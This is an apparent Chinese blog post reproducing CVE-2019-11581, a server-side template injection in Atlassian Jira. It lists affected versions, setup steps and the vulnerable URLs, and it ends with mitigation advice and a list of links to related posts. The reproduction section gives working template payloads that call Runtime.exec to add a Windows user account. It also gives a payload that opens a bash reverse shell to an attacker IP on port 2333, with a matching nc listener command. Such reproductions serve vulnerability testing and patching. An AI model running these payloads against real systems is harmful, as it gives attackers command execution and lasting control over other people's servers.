0x00 漏洞描述

Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。

Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。

0x01 CVE编号

CVE-2019-11581

0x02 漏洞危害等级

高危

0x03 漏洞影响范围

AtlassianJira 4.4.xAtlassianJira 5.x.xAtlassianJira 6.x.xAtlassianJira 7.0.x

AtlassianJira 7.1.x

AtlassianJira 7.2.xAtlassianJira 7.3.xAtlassianJira 7.4.xAtlassianJira 7.5.xAtlassianJira 7.6.x < 7.6.14AtlassianJira 7.7.xAtlassianJira 7.8.xAtlassianJira 7.9.xAtlassianJira 7.10.xAtlassianJira 7.11.xAtlassianJira 7.12.xAtlassianJira 7.13.x < 7.13.5AtlassianJira 8.0.x < 8.0.3AtlassianJira 8.1.x < 8.1.2AtlassianJira 8.2.x < 8.2.3

0x04 漏洞简析

1.利用前提条件:

第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能

第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。

2.以下两种url漏洞验证方式:

第一种无需管理员账户权限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

第二种需管理员账户权限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

如果出现以下运行版本号则为存在漏洞。

0x05 漏洞复现

1. 漏洞利用条件

联系管理员处必须开启 (需要知道后台管理员账号密码)

2.环境准备:

Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装),注意,到了邮件配置那一步经尽量选以后(默认就是),然后进入后台配置。

3.确认未登陆状态下漏洞的存在

访问如下URL(无需管理员账户权限):

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。

请登陆后台开启联系管理员,配置地址如下:

http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa

默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件,下图是开启成功

4.未登陆状态下触发漏洞

访问

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

在Subject填入payload,注意,我这里环境是windows机器,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

发送了后可能会等一会儿,因为要加入邮件队列。这时候再上服务器执行net user查看,发现正是刚刚执行命令添加的账户。

5. 登陆管理员账号触发漏洞

登陆管理员账号,然后访问如下URL:

http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

填入payload,如下,注意执行命令添加账号的账户名

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

linux下可执行:
目标Jira系统可执行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()
攻击者主机执行:nc  -lvvp 2333

0x06 漏洞修复

1.临时处置建议
若无法及时升级Jira,可采取以下缓解措施:
1.禁止访问http://ip:port/secure/ContactAdministrators!default.jspa
2.关闭联系网站管理员表单功能,具体步骤如下:
设置 => 系统 => 编辑设置 => 联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置。

编辑设置

关闭联系网站管理员表单功能

2.处置建议

1.升级到不受漏洞影响的版本。

2.对http://ip:port/secure/admin/SendBulkMail!default.jspa限制访问的源ip

0x07 参考文献

https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw

https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A
https://paper.seebug.org/982/
https://www.jianshu.com/p/ddf1233d333f

https://github.com/jas502n/CVE-2019-11581

https://www.jianshu.com/p/ddf1233d333f
http://ximcx.cn/post-158.html

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)相关推荐

  1. cve-2019-11581 Atlassian Jira未授权服务端模板注入漏洞

    漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和Jira ...

  2. php模板注入漏洞,74CMS前台模板引擎注入漏洞漏洞复现

    74CMS 曝高危漏洞,攻击者只需注册会员账号,上传一份包含恶意内容的简历,即可控制网站服务器,进行任意操作. 漏洞复现.jpg 74CMS 又称 "骑士 CMS ",是一项以 P ...

  3. Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

    一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...

  4. 详解模板注入漏洞(下)

    作者 | 原作者gosecure,翻译整理shan66 来源 | http://gosecure.github.io/ 在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及 ...

  5. 查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)

    OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录 漏洞描述 漏洞等级 漏洞影响版本 漏洞复现 修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...

  6. openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)

    本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...

  7. kkcms前台sql注入漏洞复现

    kkcms前台sql注入漏洞复现 目录 安装kkcms 漏洞复现 安装kkcms 下载kkcms地址: https://github.com/https://github.com/ 浏览器访问主机ip ...

  8. espcms5.7.13 sql注入漏洞复现

    espcms5.7.13 sql注入漏洞复现 作者: admin 时间: 2021-06-28 分类: 漏洞复现 使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...

  9. 通达OA 11.5 SQL注入漏洞复现

    0x00 漏洞描述 通达OA 11.5存在sql注入 0x01 漏洞影响版本 通达oa 11.5 0x02 漏洞复现 1.下载通达OA 11.5 https://cdndown.tongda2000. ...

最新文章

  1. 电脑总有安装计算机更新,为什么我们的电脑总会莫名的安装垃圾软件,看完吓一跳,欢迎关注...
  2. docker mysql忽视大小写_Docker安装MySQL忽略大小写问题的问题
  3. 「云端 JavaScript 漫游指南」
  4. 统计决策理论2 条件分布上
  5. 二叉树的建立与遍历(先中后层序)
  6. 从零开始实现 ASP.NET Core MVC 的插件式开发(九) - 如何启用预编译视图
  7. 实现Linux系统的回收站
  8. 背包问题的二进制优化
  9. MySQL读锁的区别和应用场景分析
  10. python之FTP程序(支持多用户在线)
  11. Pads logic 创建文件时发生严重错误
  12. 对代码更有信心--单元测试工具Mockito简单介绍
  13. MySQL大表优化方案
  14. 如何在ppt全屏演示时仍然显示任务栏?
  15. Ubuntu16.04.4制作自定义安装光盘方案
  16. 【线性代数】6-6:相似矩阵(Similar Matrices)
  17. win7计算机名怎么是感叹号,Win7系统wifi信号后出现感叹号怎么办 Win7连接wifi后出现感叹号三种原因和解决方法...
  18. 〖Python APP 自动化测试实战篇⑩〗- app自动化总结与展望
  19. 修改mc服务器名字,好听的mc服务器名字
  20. Python中除法取整以及求余数(模)的方式

热门文章

  1. JEPLUS之列表打印配置——JEPLUS软甲快速开发平台
  2. Unity中按钮检测鼠标状态
  3. 10 Design 胜出东莞理工学院高水平理工科大学国际合作创新区设计竞赛
  4. RK3588多屏拼接显示技术案例
  5. pytorch 图像分割的交并比_PyTorch深度学习框架——初识
  6. 中医基础理论——气一元论
  7. Atom被墙的解决方法
  8. 【docker】——docker项目中使用phantomjs实现网页快照缩略图
  9. windows11 解压工具 7-zip
  10. 新的开始 新的征程